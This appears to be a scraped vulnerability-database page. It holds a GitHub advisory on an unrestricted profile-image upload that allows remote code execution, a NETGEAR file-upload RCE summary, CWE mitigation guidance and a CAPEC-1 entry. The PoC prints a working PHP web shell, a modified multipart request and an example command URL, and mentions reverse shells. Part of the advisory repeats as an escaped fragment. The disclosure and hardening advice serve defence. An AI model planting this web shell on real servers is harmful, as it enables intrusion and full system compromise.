GHSA-V22V-XWH7-2VRM
Vulnerability from github – Published: 2025-08-21 14:26 – Updated: 2026-05-28 18:04Summary:
Affected Functionality: Image upload at User creation
Endpoint: /admin/settings/users/create
Details
The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.
Modified part of the multipart request body:
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
PoC
- Upload an image file as profile picture during user creation , now capture the request and modify.
File content:
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>File name: poc.php Content-Type can be any, doesn't matter. - Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
// pass the command to run as parameter value for
cmd, example runninglscommand on the system
Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.
Impact
Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn
Recommendation:
Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls\n // pass the command to run as parameter value for `cmd`, example running `ls` command on the system\n\nLikewise a reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system.\n\n### Impact\nEvery user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.\nPlease see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn\n\n\n### Recommendation:\nExtension Validation: Whitelist allowed extensions. ( use `endswith()` check rather than `contains()` as an attacker can bypass such a restriction with filename: poc.jpg.php",

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30NETGEAR ProSAFE Network Management System MFileUploadController Unrestricted File Upload Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NETGEAR ProSAFE Network Management System. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.
The specific flaw exists within the MFileUploadController class. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-19717.

Mitigation
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[REF-422] [REF-423]
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [REF-423]
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.
Mitigation
Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.
Mitigation
Strategy: Input Validation
Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[REF-422] [REF-423]
Mitigation
When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.
Mitigation
Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
